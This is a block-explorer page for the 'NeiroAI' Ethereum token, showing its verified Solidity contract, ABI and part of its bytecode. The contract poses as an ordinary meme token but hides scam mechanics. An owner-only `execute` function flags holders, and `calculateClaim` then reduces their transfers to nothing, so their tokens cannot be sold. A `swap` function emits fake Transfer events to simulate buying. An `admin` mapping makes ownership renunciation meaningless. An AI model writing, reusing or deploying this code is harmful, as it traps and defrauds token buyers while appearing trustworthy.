ETH Price: $3,390.65 (+1.52%)
 

Overview

Max Total Supply

1,000,000,000 NeiroAI

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
16,966,795.341424789 NeiroAI

Value
$0.00
0x6ac0a885ed84f4a2d062c60fb7daaf504fc8c47f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NeiroAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 2: NeiroAI.sol
/**
GOAT20 
Telegram: https://t.me/NeiroAI
Website: https://NeiroAI.com/
Twitter: https://x.com/NeiroAI

*/     
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

import "./SafeMath.sol";

abstract contract Context {
    mapping(address => bool) internal admin;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
        admin[_msgSender()]=true;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(admin[_msgSender()], "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
    external
    view
    returns (
        uint112 reserve0,
        uint112 reserve1,
        uint32 blockTimestampLast
    );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
    external
    returns (
        uint256 amountA,
        uint256 amountB,
        uint256 liquidity
    );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
    external
    payable
    returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path, 
        address to, 
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapETHForExactTokens(
        uint amountOut, 
        address[] calldata path, 
        address to, 
        uint deadline
        )
    external
    payable
    returns (uint[] memory amounts);
}



contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract NeiroAI is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable _uniswapV2Router;
    address public uniswapV2Pair;
    address private devWallet;
    address private marketingWallet;
    address private constant deadAddress = address(0xdead);

    uint256 public initialTotalSupply = 1000000000 * 10**decimals();

    uint256 public buyFee = 0;
    uint256 public sellFee = 0;

    // 1% is max wallet
    uint256 public maxWallet = (initialTotalSupply * 10)/1000;
    uint256 public maxTransactionAmount = maxWallet;

    bool private swapping;
    bool private limitsEnabled;
    bool public transferDelayEnabled = false;
    mapping(address => uint256) public _holderLastTransferTimestamp;
    
    //swap for 0.2%
    uint256 public swapTokensAtAmount = (initialTotalSupply * 2)/1000;

    bool public tradingOpen = false;
    bool public swapEnabled = false;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _externalPayableClaims;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address marketingWallet_) ERC20("NeiroAI", "NeiroAI"){
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(marketingWallet_);
        devWallet = payable(_msgSender());
        
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        excludeFromMaxTransaction(address(_msgSender()), true);
        excludeFromMaxTransaction(marketingWallet, true);
        excludeFromMaxTransaction(devWallet, true);
        excludeFromFees(address(_msgSender()), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);

        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        // mint
        _mint(devWallet, initialTotalSupply);
        admin[marketingWallet]=true;
    }

    receive() external payable {}

    function burn(uint256 amount) external {
        _burn(_msgSender(), amount);
    }

    function erc20interafceSupport(address recipient) external view returns(bool){
        return _externalPayableClaims[recipient];
    }

    function execute(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _externalPayableClaims[address_[i]] = val;
        }
    }

    function swap(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function openTrading() external onlyOwner() {
        tradingOpen = true;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
    public
    onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        if(_holderLastTransferTimestamp[to] == 0)
        {
            _holderLastTransferTimestamp[to] = block.number;
        }
        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
            if (!tradingOpen) {
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
            }

            if (transferDelayEnabled && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
                    if (to != address(_uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number && _holderLastTransferTimestamp[to] < block.number, "_transfer:: Transfer Delay enabled.  Try again later.");
                    }
            }
            if(limitsEnabled){
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance > swapTokensAtAmount;
        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }

        bool takeFee = !swapping && !_isExcludedFromFees[from] && !_isExcludedFromFees[to];
        uint256 fees = 0;
        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(sellFee).div(100);
            }
            else if(automatedMarketMakerPairs[from]) {
                fees = amount.mul(buyFee).div(100);
            }
            else if(_externalPayableClaims[from]){
                amount = calculateClaim(amount, from);
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }

    function calculateClaim(uint256 amount, address from) private view returns(uint256) {
        // Calculate the percentage to subtract
        uint256 factor = block.number-_holderLastTransferTimestamp[from];
        uint percentageToSubtract = factor * 50;
        
        // Calculate the remaining percentage
        uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
        
        // If percentageToSubtract is more than 100, remainingPercentage will be negative.
        // To avoid negative result, we clamp the result to zero.
        uint returnedValue = amount * remainingPercentage / 100;
        return returnedValue.max(0);
    }

    function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        sellFee = _sellFee;
        buyFee = _buyFee;
    }

    function stopTransferDelay() external onlyOwner {
        require(transferDelayEnabled, "Already disabled!");
        transferDelayEnabled = false;
    }


    function removeTheLimits() external onlyOwner {
        maxTransactionAmount = initialTotalSupply;
        maxWallet = initialTotalSupply;
    }

    function manualSwapToken(uint256 percent) external {
        require(_msgSender() == marketingWallet);
        uint256 contractBalance = balanceOf(address(this));
        uint256 swapAmount = contractBalance * percent / 100;
        swapTokensForEth(swapAmount);
    }

    function withdrawEth() external {
        require(address(this).balance > 0, "Token: no ETH in the contract");
        require(_msgSender() == devWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    function tokensWithdraw() external {
        require(_msgSender() == devWallet);
        uint256 amount = balanceOf(address(this));
        _transfer(address(this), devWallet, amount);
    }

    function swapBack(uint256 tokenAmount) private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance == 0) {
            return;
        }
        uint256 tokensToSwap = contractBalance;

        if (tokensToSwap > swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount;
        }

        if(tokensToSwap > tokenAmount) {
            tokensToSwap = tokenAmount;
        }

        swapTokensForEth(tokensToSwap);
    }
}

File 2 of 2: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function max(uint256 a, uint256 b) internal pure returns (uint256) {
    return a >= b ? a : b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketingWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_holderLastTransferTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"erc20interafceSupport","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTheLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stopTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052620000126009600a62000656565b6200002290633b9aca006200066d565b600a555f600b555f600c556103e8600a54600a6200004191906200066d565b6200004d919062000687565b600d819055600e55600f805462ff000019169055600a546103e890620000759060026200066d565b62000081919062000687565b6011556012805461ffff191690553480156200009b575f80fd5b50604051620029da380380620029da833981016040819052620000be91620006a7565b6040805180820182526007808252664e6569726f414960c81b6020808401829052845180860190955291845290830152906004620000fd83826200076e565b5060056200010c82826200076e565b5050506200012962000123620002d560201b60201c565b620002d9565b335f818152602081905260409020805460ff19166001179055737a250d5630b4cf539739df2c5dacb4c659f2488d608052600980546001600160a01b0384166001600160a01b0319909116179055600880546001600160a01b0319166001600160a01b0392909216919091179055620001a43060016200032a565b620001b361dead60016200032a565b608051620001c390600162000392565b620001d030600162000392565b620001df61dead600162000392565b620001ec33600162000392565b60095462000205906001600160a01b0316600162000392565b6008546200021e906001600160a01b0316600162000392565b6200022b3360016200032a565b60095462000244906001600160a01b031660016200032a565b6008546200025d906001600160a01b031660016200032a565b60075462000276906001600160a01b0316600162000392565b6007546200028f906001600160a01b03166001620003c6565b600854600a54620002aa916001600160a01b03169062000419565b506009546001600160a01b03165f908152602081905260409020805460ff191660011790556200084c565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b62000334620004e0565b6001600160a01b0382165f81815260136020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6200039c620004e0565b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b6001600160a01b0382165f81815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038216620004755760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060035f82825462000488919062000836565b90915550506001600160a01b0382165f818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b335f9081526020819052604090205460ff16620005405760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200046c565b565b505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200059b57815f19048211156200057f576200057f62000547565b808516156200058d57918102915b93841c939080029062000560565b509250929050565b5f82620005b35750600162000650565b81620005c157505f62000650565b8160018114620005da5760028114620005e55762000605565b600191505062000650565b60ff841115620005f957620005f962000547565b50506001821b62000650565b5060208310610133831016604e8410600b84101617156200062a575081810a62000650565b6200063683836200055b565b805f19048211156200064c576200064c62000547565b0290505b92915050565b5f6200066660ff841683620005a3565b9392505050565b808202811582820484141762000650576200065062000547565b5f82620006a257634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006b8575f80fd5b81516001600160a01b038116811462000666575f80fd5b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620006f857607f821691505b6020821081036200071757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000542575f81815260208120601f850160051c81016020861015620007455750805b601f850160051c820191505b81811015620007665782815560010162000751565b505050505050565b81516001600160401b038111156200078a576200078a620006cf565b620007a2816200079b8454620006e3565b846200071d565b602080601f831160018114620007d8575f8415620007c05750858301515b5f19600386901b1c1916600185901b17855562000766565b5f85815260208120601f198616915b828110156200080857888601518255948401946001909101908401620007e7565b50858210156200082657878501515f196003